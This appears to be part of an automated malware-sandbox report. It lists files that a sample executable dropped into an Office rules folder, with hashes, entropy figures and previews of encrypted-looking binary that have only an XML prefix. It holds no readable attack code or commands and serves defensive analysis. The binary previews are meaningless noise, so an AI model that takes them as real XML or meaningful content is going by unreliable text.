Preview:	<?xml^6..X..........c.T.X...-..6.lap'.v.,...+y....Z...C.A.....n{...N. ..Z.;_.f/R....1.{..e#.'~.z.@.t......1]S..=.R..0.j.:q.K....:..j..ztr4..{..p..Q.7a...R..#..Y..C{.X...k.....o....l......\=..a..Y. .....?J.....!..7....~i{x.....nS..q...&E.t.}..V.I....Oo.\|q...rE...... ./..JY1..m.........'....aI..f.y[X..C.~..bt4LSR....}J......A.D.5\O1/[.[..3........?...0.g~1..^..!+..S\#..a.,....S...Vs.Z.o.e.:+.G...3......9d.QlL..{.x...I.VG.;..V..u"...o0.8....d}.~..7U.xz;..2G.(/...._r...,K...!.@....]6.Y...Y=..n{.b..\|;.F.dz...+b..^.L.G....@E...wi...wi^b..g4...3T.....^.`.[r..#a5.3<.q.>.).....{0.?...w.)B..~-.3.p..KG...\...s#Kf..C..?...R.....,n.E^.c..r...<.zM".X..#..L..].......n\7.4Avz...9...r........Gg..Y.B....u..A..X..H.3Ks....~.6.9..q..ns.......h/1.Q&..a(...!..........3-..%......8.A.CC5N3gA..Q.[g..J.1.]w8i...m;-....[.M...]..<_hc...u9r..\..5HXa..E.hL.]?F.B.!..8.:..pF.4.#..........].2.>`..K...l.Q(.rY.......VEO.C^P/....$ik.UM.)m....p,.%......GMX...\|...c.Fn?$=P

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702250v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1685
Entropy (8bit):	7.86495642634366
Encrypted:	false
SSDEEP:	48:i8dfGwp+R2Xx9RvvNhrNXCLpuKiPxUlU5D:ZfJpEg9RrrNXCLs+Ux
MD5:	34BEF9D8CDB4397142034FE28BAAF789
SHA1:	55BB6723500000AE2C760FB70B5229746CAFFAE1
SHA-256:	82CC4FB9B0A18DCF5552D98AED33F3004045FC3C2A370C8E5E1874959BE75662
SHA-512:	83FBCAE8443A5913DC264890231A0E0AE57FDC05AF64B93EBBDE58EBD56EFB802E9D81542956E49758E84132B374CB6EF6816B26A9FB8FE472E0444B3B98CA23
Malicious:	false
Preview:	<?xml.?.c5.>..W...k....S..q 7.n....'./...q..R.tE.e.i...B.F5....5..d3.@l\5o.Y...0..2B%..Qm.vS......\|m...+3...k..7...<.,.Jh..U..9.......w..W.... =...N/.R.B..RK.....t.....0 .w.I......~...\....).o..s .e`...<.Z.........f...]...,..p.:...0B.$LTW...R....U825..K.1.%.....K>J...e{.TR0...r..e/...t{K.~........UT..Zg.B.$...N.....x.f.@..5..b.....rY..e ...L+...6.8k...A=2.]W.N{q..j.40...A.F.=.z......"M.....l..,..l....%..xn@.......x.w(.^.<zp.......!.C..!....26.......F0b...W7.rD..A.....#`p..c..c./..8Tq.2(...jDs.]B.=.....C.1f..<.2.o.b..o...\|)Cj......HL..)_Z.....@..i....g...2..1...!..o.\|r..7~h..n...0.5P.[....H..Sa6.@0..y......X-....v.....c...._..p.\|_.....s..]_B...W...3k.2.....c...[<...U..O...y.y..[..w...#5..0LE=....L.]3...x1LB.%....y..?.....U...h.P.-.3......Y..+k.<L=>d..+..k....bO.a..`a......t.......'.Z....S.T...J...!.b.AST.e.j......<e......+@u..08GQ ...-H6.......iuI.q............".p..9o.....-.....c...\.....#Xz..F....$\... ....2....z^C..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702251v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1722
Entropy (8bit):	7.890283909801744
Encrypted:	false
SSDEEP:	48:ze3dm9NCo8u1US9GUFy6r55uFFcSse9bfMwwD:KNiN18ueS9GUFy6POF1ntfZs
MD5:	A2B0597C0A166EB8E7B6F66219A37E3B
SHA1:	6FEA007322687498077F12D37C65B492D92FFB2C
SHA-256:	D60C2F3F2773E92CD35BFD50EF58B64CDCCB3A6263B01FCA1F141561ECEF19ED
SHA-512:	6A2EC80A97CF0250220DC95973C65996D01820B9914BDA27FB8EF0A420529E8C6843CA68BC908B5A6478DF0D0A7899A06F1A20D35D023905A77275896E08283A
Malicious:	false
Preview:	<?xmlY>n(s..NEd...n!.!p/....k......n.c...:`.../..v..>.a...};.5.N..Y.Hr.~pR.../.....m/...\|.^.Y..p..%.o.M.mX..[ ...\|.F.......j...Lj8=.X.C..X...%.e4.60p.....q.5.......k..GQ.\..g.H4..M..R.P.......!........\}.S^.a.c0D.....d?.........ol.,....~.4.^..x=.4.G....p....h...i.S.......Z\|.:(E..1..,H...b.SV..p..(.@..... ..s/ a...7A6.....S.CpX..p....BX^..q..S.../....>...k~.......V....H5Y./...@o..(...].}...G9.".\|a.. ..z.%%.. .k..".0...}.....V:..0N.K.\|.+.aw.M.KT....3..~.....-.....{.#.j.....xs....+..0...t.Y..-.!..."(..sTyET.<.A...:p......E}.V.e......<M..G....\...\=6...3.#....=.....t.x]f.Y...fV.......f.....J..a.@..$...T..IE1..q=j.\|.n.(..b..K.....a.P...#.]......er....A..wp.....=.om..x.9..p.^DM^..P....Q..g...P...F..g......+SI..)....6...........z..i..gy........4...o..c...W~..lu.$"ms.^...g.]g.]...p,..'W..&.......f.8..$..\.T./U<....Uo......I.2`..i..p..O..X...2f5......c.3.@^.....6...&<.....%3.Q0.#. ;..=...P.1J.Cmd@.........{......Q..M6.......)...cH4...}..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702300v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.882227699742285
Encrypted:	false
SSDEEP:	48:kL/yUfuHpCTFksizBLx91Ki/9haODvEwVZTRKmD:kbyPHIZPiNl9Ai/+rwV/N
MD5:	91A2808484D14AC7905B9BE388D872DD
SHA1:	D065FCA6F93278CBF73D6A120558A758D185F55E
SHA-256:	56D8E4DACC82305E135EBDAB332C58D7A2BECE2EA5DB69EDC6EB4F5BE6AFEF45
SHA-512:	FF19737E150D83B6BF013F991718D06B239830320A4FF6DB2742E12A4FCB3097CDFD4A904586441E82B83D169803540A272AE2BC3A7806AE6B260D187563F05E
Malicious:	false
Preview:	<?xml..A....R.F.....{.....{..+..Q....A)\^(.a..-=.JJ.Y.s8+.q..\|.<[./O.=4........vp..x...t...ek.+.9.:....l....Nz...n.9..'..h.0..!0.k-.J.0...P..7..9)9qb].[94...O...6VJ.......O.T.....S....K.(.....0\I}.....OE.X.....\..+\|...t...r[..EQg...#XiSg....5....U...n4..d.";ZI.i^.....8Zo.Q\... .....>M,^..-...a/.(@.....W...n.7.eB.......S...XK.c. ....:S...6..\|fQ.PM'.C.#.]....[,{A.l!.q...{.b/.hC........!Lg{l%!.N..`;.e.L.?.3.S...GN{.J.........X.K...G]{.....m..P.."\|.4#..p...8..,K}.0..C......g1.<..X.z.....m"2..@)?...\V.l..N...F9^..Y..7........&]\.....W.5f..z....s#...k~.S.T.......:...llO.J..6......@..1..^.S...a...V......_..d...e...}q.'$.{.g#..7.4..h&.h...2...vBm............E..M#a........8...>.w............v^.W...,\,...E..r..;.&"UB...C.L.VS.rU...Lb:.s...).r.R..f\,..#...)G..V..<....Z..d;....u.....G.sb....Dq.%.u..e...f.\|.`.p9...H$.GG...{"...f..gl.Aw@]..OX.....bn..=..A...:.z.P.N.z...D.o.!.r......D.K}.&.;.g>q.".?h.v....=c"..Rz.......;.0%.....k$DY...d.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702301v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.876688009581957
Encrypted:	false
SSDEEP:	48:8pOiQv6aJeNrW8TP/kK6fPJMcKIrylKMtwD:80LcZW8XyxMPvq
MD5:	291B77E9EE029FB247EAC6CA38C124D5
SHA1:	66ACB324D27385A715A03290086DF6FE3DBC2BF1
SHA-256:	2C1CC829600B7DFBB7A200B0A76AE7C4E6D4BC7C3E0625215DB260D570C3EB98
SHA-512:	BD046B937EDFB3F7964CC275FDEC75BD056EA84A7F43E939A8D1A9F8F0CE51A662B0F1C48A1099EB09FA1BDB8B5153B5E8240ACA98811CC66BA7A767B1D3977F
Malicious:	false
Preview:	<?xml?.O..^.w._A.]5..o.$.`bK..\|..Al...s...-....L-.....k....9..2.......N.=.GQ...o?E..N.......'g.^.D..'+-[..{<X..l.2.d......bs.....A.fQ/kh.zU==^B)..S.4...E.D...:..\|.G.W.p./^.j~9.D.=.6D"...]u.h#.g.dX.m7L...,.1.-...^H1.......PN=p...bv....9..:9.....0..UW..F.i.!.!.,.C.8s...k.E...i...T..T.)...pU....}[.y-y..=..-w.@...`..).Dlx...\|E1&UW....OR.....}h.We..O...7.&h..c.WgB..ZG.....K....i...?7..l.....0H.16uI-....z..>.....f7\...?...V...~.]In.,....'........JZ\"\...&2.D.t..C...1...H...e..&..i...+.O...u>....+57.o.T.....~.p=d.w...~.....yY.E-,f...D.].K5.j...^.kZ....`.i?...oJ.=...........j...2.]...m...{...`...G.I..n\|.W.....-.j...,.......#..:..i]...p.M......:vA......K.6.3..Qgh...E..]lR.]....n..gt0...^..P$......p..s.U...;..~.B.\|.c.Q.p.%......<Rt.....6.<w.K...w.k......`v7...u....I$-.e.ug.........q6.`...p..q.....9../X..........W.5...)s.U}..].N.uV..c.r)[?`.R"w........V....c8.l.....TdM...g............BP......3K.-n.......F.........<.T,......D.=.......^..)...a.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702350v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.873433446005993
Encrypted:	false
SSDEEP:	48:NshGw/a24EsQI9YGjtxg4bebmM7yPRvJJAsD:NshZ4EO9Yot6bmfPnJAI
MD5:	61288621F8DBF54052A8BE1C779B9354
SHA1:	0452D6C7E28CAD841F13DD68F33FD35521AA7A85
SHA-256:	A8BF6A9C2FEA668E3B54DB5A1133230086D709C264306C03DA8E774AF340EF10
SHA-512:	72154EC693A0EC1C9253B829F63158A4D4C1117B051091685C59077B8E6AEC181499CB824E267F37D5D465A698706C114A7FBBB2095F96EE3D695D7D4FE17573
Malicious:	false
Preview:	<?xml...67H...h.....mj.[q.[..N.w..}F.d.".y%N.#.DYw.V._`.j..$.E..iOc......o .>..WKK.~.H.....D...QTe:..~...%8f.c.../c..;U..ulk.%...Tv..l..!L.'...^...t..Q.v.+...i.P..4q....T.}..<.%...N.A.}......j.X.[..i...._k....<....#................Q.qi.3...9T..h..}.v....A...........!.3M<=..H.6.j.tZ.Y..,54..}......g.%.O8..i.F..i..........E..2E...b.[....~.j..\|@.'...cux..x........]..T.B.w.\....[..\.."S.)...'.zT..-..#`.r.......B7..].....0..Xo4..... ....(.!!."....G=%om6..R.F..fn..3....h.je.CZ..x+s.]B.....A....v!...S.&......Bb[..9<.....br...{..E.....t.z.R......v....3E....s++../g.....`...n.d..Y....%N..K.\...1..Sl...L+c..-...g'DL.......-.....p..Xo..D......Af...k}.2UC..0t\,.3.Q.K#\|......h.._D3....(...2...39>..#...Rh...[..}6edb...U..0....c%....r.4.rex.0.........in*/.%n.<...`.I..6e..ch.....S.b..t ..A..^...fn...9.[.'.g.A........\..,Z?.<...n.....0.}..3.!.\|.F.M.T[h...uZ......r..K..c.\.s....)O..5..M...0...F.y..$.p.&Y..b.....~.....ft....s....Ha.......;.E1..;

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702351v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.88148391699691
Encrypted:	false
SSDEEP:	48:T2VuIWybki4SzXXsTB4tuQ14xJFTDaBR5xSxRD:qVzvkitreuuQa0vxaZ
MD5:	E5C1608C3E94A7F4950CDBEF1D1F2FA3
SHA1:	6850B0083B78DCC53BC33E498D727287EFD222DC
SHA-256:	529252215CF7F7F46CA6CD76884E12F82C9056C69923A533BD751458DC8985E5
SHA-512:	5F083255C4C4FFBA3D863FD976B7F72414C55675F684A9B2811032737958CE073B8762613BE4DE691B1D0890BC44768347276B7C4C2570FB48D07E996612C5F6
Malicious:	false
Preview:	<?xml..~m.X..H.\...<....:-.W8.[D..'.\.{.s..#....=X.......s3....A.)..."...<>...I..^....P'....Z.....M.P.g....i.. S,.(+..$..t......W...s...45s.+;EcQ.n...0.u.N%...;...I.jN.KK.]...]....+<...Un.i......:..!.".PD.Sv.J.....s3H......\........D.5..X.^x..V.JSe#..q.5.....Kl..d%....HK.D{.M}...h<d....dE.:..Pe.ZR0+...E...I..@.C.../!./......5...^d{.'^yK..c...!.......p....\......-.47.).2&......$.....P..f..4&...J?M.T ..5...n.N.O..?..rm...Z.........}.E...4.u...Wj...5Vu'.....1...Y.9h. ..q6A....)0q.][.h{D.6.oz-..Fy....1.....W.h=.m.@...j3..ec..K&.E...Y.x...s[....8.a.._)..1..9....`E)...f.....&."A/).d..%,...c.....w..?}.......R\|.......L8....P..\I..A...@...J:.....>..........K....Roa.A.E..;..-...a..i.&6=.:.a.9.Q.......]..#E.F.H=..j..k.L.g...<....)U.A..r.F...8..=...r........S..Z.J.U Q.,.j.Xi...B..L....Y...eG.-M...q..~3k.\.........\|%.....?.L.U[..:.V.<........jF.....S.W7..X.suo.i..NM....I...02.8R..`.9X/Tg.D3!.e.!5......c.......7.X.nQ.g...k_..n.K..].=...:...=J...hK.@B...W.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702400v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.883632340272515
Encrypted:	false
SSDEEP:	24:Je+i0APUd8CvFHmYytWMgQJdXfL51LUCgVRGPNvbtrwoehp1VYjm8VgmFHDObD:JC3UbNGztZXfLbUCOQNvb1w1EjlSD
MD5:	35445BF320B3308658B051CA15625B02
SHA1:	0C11F508C6911275812E75A1C6759747EC8BF359
SHA-256:	9BEF4814405EA5F9901B4C4DF7A8E577FA034A13F72252DF24254B3DCD91EC1C
SHA-512:	2632EBA7D8F52BBEDE8C95C30B07B56C51BEC033FA9FC0BD97B7CAB2C8F1C1897292A5109D18698119739A49ECF57C81D12B5C563509D68B2028C8CF16866123
Malicious:	false
Preview:	<?xml..M...4{..-..>w..M..,....C...s.C...U.....;...B3...t./}n6H:c......'..'(Yg.....j...\O.oO.0V.In........{.-L...8.@..P`.Gz}..v..L.I..].$-...CW..~.........`R.0v..@...[.^........2...{P...V.k.....D...?P........9;..Kd..Oo...,...i.~#.O0.N'Xm.%.r[.....].j$2Y.0.`.a...a..m.<.j..1f..C:...-).aD:u...)....vS#BB.i:......R..7....V... .(N....z. ......P......G..+....A..'..Yk.........V..{..3.I;.....X>x:.o..]nL..@...#D.}.....P.........m`..,%T..x...]..qv..%T7Tw.\|,._.Z...T...&e..v..$\.3....$...f..t.R.WN...w.`....w\|4r\|a<.....).lp.....<.uUd.?x\,.LD...Gk.B:.q..V[t...f..E+...s2..t...~..........n.E.t<e. .T....z....R.5`Z.f.].uK....b...,.g........7:^...9.......=.ztG/.7......}..:.A..)6..V...).A.q..!<]...f1....;.b..T.N..M.s.H....};.gA........j..f....MTE.k.....[...QX..m...mo.<JE...X_.:.m.g.Z.....-.x._X6[..`d.E$...0C...wC.h=.. .....~...O/...._}#..K.Rz.R..>.{.Y..5...P.Z72....Z......G....?N.N...n.v..+F.../...'sU...O ;..T..&>.{...[7...W..8.n_.p.N2...5..J......Af...9./.'

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702401v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.889146265024787
Encrypted:	false
SSDEEP:	48:XuSbuV2XpxEAwutFXcgOk9CsI09+650uMhLD:XuSw2XpxJRJO1j09+Dhn
MD5:	6AC008C13EF4A81EF141A7833D996FE4
SHA1:	62421C7FBA8D7A499F4473111DC1389D0A52CBB5
SHA-256:	7F45F6426547E939DAEDCC6EA1EBE7D7216E1EB5B6977248D644CC631358D92A
SHA-512:	2C3C4193FA5875575E3FF4F60B3A0A1BA482B1E2A7444B0A995A4EE2B29B4BE3B8ECC814E0EFB84E8E8293846F73DD2221242F5EBE50AF06CA7947D82885D378
Malicious:	false
Preview:	<?xml^.....i.7....?:&.!)...K....hh.C.v..Ut.g.\|H..`{.~...c).....n.......A]d.6.Y`.fD....Q.m....i...d.p.\.Cy.R..O.?.0.....C..r...x.i.D..`..u.e....tsA.R.......L.(...H....Ua{.N.4.~.!(3DU...p.....Mx......9..b..Rv;...8.m.Kn-.......0.4.[\| ..b.S.A..A...f.4.7.Wwr;4LQ4....C.I..j.]..W#&..Jo./..j_j3....).......zM..hl.b..7.;.....n.(yL4..A..j...kO....9.~...g .gB.....pyJ.?h...G. .^.2..AY.....h.d...3nB.N.....%.'...V<.....l..Wgh.8{vI.>..).~s...\^..f.$+.&RV.....f..v..8..De .lH._..t.o.1F~....HQ..:...i!\<.N.!.6<..~n.R....X.<.)..7..#L...z....+...6R..D..H^8B...y..b.e....hvmb..:....d.9.i.Q.{.N-..m?.{.Y!wcaCFd.r...L..Tq0u.I_..............O<.D0...&.&@..l..ujmX9.V...}N9....o.....3[.....S........B...O'.....1\Y.y.1.\|.&b.........'..^oYU.F.d.l.a.....0.q&E..h"..K...._.9.t.4v7....."...".....X.7l@..Q..".K.vK...h..O................5...#.#!...H.X.q..e.*. .....3.`..n..F...... .;A......n)...2.....P.9c..M..{.=0i...W.b~.`..@.4.....h..Qn..J~..9....).......1.%.A[...9

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702450v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.878168119701703
Encrypted:	false
SSDEEP:	48:514FCLHhapmV7VnbNEwOj4c8MiySla/5tD:51PFdhbVOb/zhV
MD5:	738909B092BA50076AADB92B4B7058F8
SHA1:	5494FDBB81AA477B88714FDABBA0E1BCC5A67B78
SHA-256:	BF50D3749D93B27D9C1962B9BEE4A7A092952E7DEC4A390E965563C6ED5214BD
SHA-512:	9D9F2CFBB8D3D1E9A453AD7AB0565BC0780B4E9CEC2C73524933E0ED46673759F7327C85A7513F9188788793194F31D226740A6B6C0E5EB3637CAC8B61F1C1DD
Malicious:	false
Preview:	<?xml....W...^"~.y..M...a..q..........._..q.^%o!G.+..94].q.zI..K...a....v.....~y.......I..fr...yk...nL.L.Ph..e......@w...yif.:..~..=..U .i.o..B..q@k.N..C._a.."......z........]..r....l..>.A...J......-".e.O.G.]t._.....q..u..!..o%.XG$..2.$.....p.EA_...m...q...W#k.g9h.6...:.lr.......,x4-FA .%.........c[.....G9>...).....(.......'.5A/8.a..;.l.\..c[..\|.CT..S...i....1.;....m.UW..g.m..bqd%f.......0..#....@.Q.9<o..c.....-.L...0>[}@w.G.,hr.....]H...m?...(+..%....UmVk.(......Xj..2....].#m.X...z....6.-M....4oT7.a.F..M.?gK...\|....B......6..).F....P@f.m....<.Q......... ..cS~.(.Z.:U]...hf%...\|.U7$..A.. k~...SO.u...F.X..c...~.3.!...>..@u..{HA^..R..?L....P.`o.).....>..i&......@.`t.q..;..M._.W..=.)._.$.2rd[..........n.T.....Td..6.....r....2....[.m,....At.a.z...{8vj^\..i.^.V..R...O@.m.M..=.....;..F..fG{......@...+^...l0m..C.>.......=me...F..tolm.N..&..3,.w....b.......u..5(.d...+9pq.R.....@^.w..$..ZV~l..5e.g..f..?3T&).w....u."...'...o.V.....{....-.M`r<.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702451v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.871873445044315
Encrypted:	false
SSDEEP:	48:gOr9sRQX6WX7IxN0pARkgUJw0urGGP5O+1D:h9CQJrI8pBgM6dPbN
MD5:	E71D6E772B0117B6F5B3F11BD2747699
SHA1:	D86593F60D92079BA8C52522CA07352DC80628CC
SHA-256:	F01B7DC9C6119789C38D554A1FC8FB183E321E07C6AAC73D2FD5A607C82D5F28
SHA-512:	4BFD36E31E74D3207DC09B66F1134E84A5C5064716B3E9F743442BE7EE4F521D8580DB9AABBF3C1F922C62E44EC3A397885DBC7A0CF70C203F8EDF2C8834700E
Malicious:	false
Preview:	<?xml$CW...7..I..OX.^..3..v...V..u].T.DO...z..>.>..Q.q..KY.....~......y...^T@>.Q.k..$/O..=.$.M\|.K....._..s.%#AV...H....Z#...y_.<..j....g.].-.Ogdxs...ICU....1F...9\|.8........c.xY.^n.<....F....L.......E\|.9..!;..s._.,....LD,Y/...c...P.P....T..4..S....i..E8'e...#........x....2.V.(V.K..+.._...#I...!R0 .n./..4.BL.........d.K....vO....}.)Ii.2......L....U....../.....>iD....3.Y...ZZ..u....@#f...BX+...T%...B@...:.....6..'Z.V.!T.....YK/.iC^.."..~..!.i..]..x..:4.^.Q~(.iH...p.Q.......}...].....7.\|X..Q..B...r2Ww.>LG.%..u.W?.'......5....A..R#@ O.. .}K/pO[...4.[h...Bx...b....1..S..3d..k..J.J...w...Q.0..{ZX.p.I'......q.....^(........}...C...L-...2..sw.2$d.i..(..a,.C.W....D..80R....22^.8C......f,...-..D.SJ'V...i...Bq.i..t..r'5."4..(.=@gCQ#^=.h.....B..oR........:.#Ki......\|.k.!-nJ.`..^.AG.e>*W..Qe.C.....WFT.5...}.z.d.. .X....;sI.:..u..ir.O...E...hp).).6...j.....d.E..o...O...,.jl...Iyhd...mD5<..1..O0.Y..)p_..=..D.D......0........j\.B..YYM.....x.Iz.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702500v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.888335727928821
Encrypted:	false
SSDEEP:	48:2RQvFrL1VFLQsVrTJ7A3CRgXGtwucndXD:2EkW2CuYXG1
MD5:	C54B76AF08FCC1F59F4C664EFE3F4616
SHA1:	AD1DF13A487E93FCB9E3A6877081134576613EA9
SHA-256:	3D9EA8C80C9D906163D2F82A06D19D7C33E5F38122E7F7ED30B2FDBC857D0E4A
SHA-512:	587CDAE40FB9CD643F0DD6FED2EF90AF15274EC621ED821D0B6BD4579D06413A27558652AA8D62880D95D5DED84B641B071743FD7726626D7BC8AB9BD64AFD6D
Malicious:	false
Preview:	<?xml.P.....U...%.U.$.8!...a......u0.....m.<......A.]...N..5../..lq.2G{........G.q..\|.E.Bs.;...f.aN.....H.Z.\|....7_.gM..2......?..X.._.TM.t?......!j.#...M..I+.?<O9j...`....._lO.....<..9F.<W..\.+.!2H.....v~5dI...y[....rC.p`..H....+..)..Ebo.sy....,..Y.{......?v1.....k.YU.x...E &:....-...Bw`Wv5......V....}..:... .5.....5q:.yZ..g....:.R.O.{.K.L.r.,]..Kf.......y&..WE.. .f.7.e.F@...b...1...OA..^...\|..0K..3..f.\|c.....Er..+....).. .Ph\|&...r-.>C.B....$^^T...th..Q...$...].^..6.A.M...IO....D....:.^.B...Q..g......)w........5]...Q...b.B...U.t....j.30.] .n...&3..c. ....8.Z~..5s...........G.P.}.;C.K.a.7....O<.$...{.A.a"6.RZ..V7P...o..S.....f..YQu..iGh!...`5..-...j.....'._..A..D...(;.+-...P.p'.....W../....5..]h.`.#/;...=...l.B."q\|...+.O.Y.PS..g.1...lS.aIE..k.......R.a...f9.a3..S.j].F..i..k.e.e..L/+..qlL.&3.<.6...K.......+.~_4...7........o<.y.3s.3O.q..zo..u......X..........{g...x..!.#h..3...S.rI....*K<[X.x..x....c...>."...f:.t...M...L....}./.\....Q

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702501v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.886144062810411
Encrypted:	false
SSDEEP:	48:+MafEqNCDgvZSYnNJS8CLQGE+pHyVMdzwQ1vqNfsmzD:If8uZSaN48yQGEoHyVMeCvqFj
MD5:	E726FA1DAD58A94DA5D8DADFA0A1BBA4
SHA1:	29CF51FCC5CC7DCB15482B2AAD1DE5BD669C6FB9
SHA-256:	FD5F18D39AD28ECE2BE241112EBCA0F3518E53CC88592D9C2FCA181130BACEB6
SHA-512:	112000B4FCB0072489A50C37164F2E9DF808F2515BC94FC1D90928E3E3F2E6410FDEA89C22ACEE8B5812650ABEA5DBF900C8B65760B7E2953B5D4DD0D33D799E
Malicious:	false
Preview:	<?xml..so..:&....A...6...5...Wt..n..O...#M^0i.K..........O.75L.\|T.DD..............$....:b.8.x.3<...7.WU_\|..$C.ME..$.Argx...+,.l..N..$"..E....[...k.fv...V.6..(......(u...4...L.e..l.$.Z2.NbqF..k.1.C..KSE.+.ai...$4...W...U..7..8{....f0b..(+..rI...X.Pae....WA0.:....\|[tO[`......Z..9.....O...KK.B..`..L..v7C..%..c..3e7{...&....`,P..?.X....7,....x]E...{h.+T;..$.Q..sQ.;.. ^...0..l..zn...N..."...j......`^..x...)B.C..ql.X.H.7...!..y...!....\|.B....&..O.h.A....K...m...:.ieA)0..z{..1.Z0.....j..$R.........:...W.E...d.R.]..]..&7.!..^..[....T*...eK...7....H...&.....kF..V.....H..O...u..p.,.....Wz....%b.M..N./0.8N.(X..1....5h..6....-..d........n.2...iz.....+^o.a..K..\|...<`D..]EC..%(R..$_......5..>lS.b&.JJ.r..#.k0`..]T.....o..Zpz.dUhb...v..iF.d..\@.ye.qS.>q:..s..7p.G..F;/.:2.B-jY6a.........y>y.w.`V.....f,..EeI.........5.`w9O(...>../.....N...T?..kl.....q..6x.'L..J..G0.Y]8{..?....x..m......q.8..fK...E&.L....F....T..^<.i...+~........f..xO.7k......z.q..C..v..^....%@

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702550v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.873135105622061
Encrypted:	false
SSDEEP:	48:GEi//UHFSXFSLOXKA2wyXMM+Ul4JfbnurID:qMHFSagLZyctO4JDnR
MD5:	2089AD1C65153DA5A0CA1E97DB762138
SHA1:	743914C4AB96482A66BF6560CF30DBAE6F7F1BE6
SHA-256:	4791B7ABD3F6E673BD0142966616D4814AC1F9809A67FF8297CF845CC0810FE1
SHA-512:	B66CDC2D23887800AFCCFE54C270ABD56E9EC8387960A8186E5F615A910C9F28E5057B77FB07E220EEEB5B5A8A1958D1F68CFA832BD28072BED96E9A849ADA05
Malicious:	false
Preview:	<?xml..n..!.../^.4...<......B....x#.=..y.\|.A:.i..n.&..(..<..P.....=..!.j....2...b..a.....R..M..!...V.p....].......h..<....?...C.%...n.Q....Ft..t.......K.9.....K..L.LX.O..h.\|.z..QRF....NR.hW.`.I....}.N.]X...u.r.d.Z...\|.{$xGK........r.\|......+G..U..%.......]2.X.O5.X..e..v/Z5.djs..WT#..%.J...RV ....]dH....w.>..zS..w.....$y.H...>o.q......i.)e9...J........Z.....Vm.^...Q.y../L..W..l.p....w1Z.Z.}I..H".j.o6.S&t;.sT"V/....\|......&[.....t.F.wK..HZ.G..S.k..J.T%..d...n.lyZ..?.0...........U.\|/.ClZoeJ.#]......(.E........Y.m...Iw)...v...)E.Y>.jK......;1...uF..-..6O.....x..Q.w.O..2fY....h........\|n...N.fN..(nv..xF1...4.\.0(9..d,k...E....w.T..%^...<.Z...:..$.#08...C._.6y.r......Q.Iv.......5`X......&..bGtI.]/T.x`..1.a.;....q..m.\|:7{.<]...9+3.){.h..r".;.)3.5<M.[...;...S ...s.....j.c..F.....1..w..........=.....f".EyZ..O..G...?X.R...G...e#%.......f..w??_..u\|./x.{F.E......qS.8...)._$.M........F..W.K...~\yM;.s...~...b]C....K.h0OfA.H&.r..bw...O..B..>V5..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702551v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.906380197242906
Encrypted:	false
SSDEEP:	24:BPq/Uc5+3EsQW1wlwkTGubB1Ac8pNAcY6ze9wKBjHPpC7AMb8JuL3G2tW7ObD:pYPW16wVpNCACXTp0AMoIbG0D
MD5:	38061E6A361177A57D9315CB0C0AF575
SHA1:	CF60A823D251361FA4814905AC024D91257491E3
SHA-256:	7D9A7480F7A530F8EB910DCC22E20F4CC098E45E1A930375012CFF6EAE55F5AE
SHA-512:	02AFCB17000A754E402193E5F9B81B9A5B48AD2CF6320FAED08155BAF0E943C2E2D4A43B1B82A7F802AC0F2FB291227544975B7E0C68FFDB74B4CAFFDC1F4297
Malicious:	false
